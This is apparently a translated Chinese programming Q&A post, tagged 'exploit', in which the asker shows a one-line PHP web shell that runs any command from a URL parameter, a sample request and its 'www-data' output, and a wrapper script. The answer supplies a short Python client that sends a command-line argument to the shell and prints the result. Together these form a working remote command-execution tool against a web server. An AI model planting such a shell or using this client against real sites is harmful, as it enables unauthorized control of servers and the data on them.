在python中将参数作为命令传递

时间:2017-07-23 20:03:20

标签: python exploit

我创建了一个php文件,允许我在url中执行命令。 php文件和以下引号中的url:

<?php

system($_GET['cmd']);

?>

网址是:

www.somewebsite.com/..././command.php?cmd=id

所以这里我使用了命令“id”,输出是:

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

现在,我想编写一个python脚本,将我想要的命令作为参数传递,并在终端中返回输出,而不是在浏览器中执行命令。

到目前为止,这是我的代码:

import sys
import requests
import re
import webbrowser


url = 'http://localhost/.././command.php?cmd='

def remote():
   webbrowser.open('url')




def main():


   remote()

我的问题是如何将参数作为命令传递?喜欢:python do.py id

提前致谢。

1 个答案:

答案 0 :(得分:0)

你可能正在寻找这个:

import requests
import sys

url = 'http://localhost/.././command.php?cmd='
command = str(sys.argv[1])

response = requests.get(url + command)
print response.content
  

您可能需要安装requests模块。你可以使用pip轻松完成。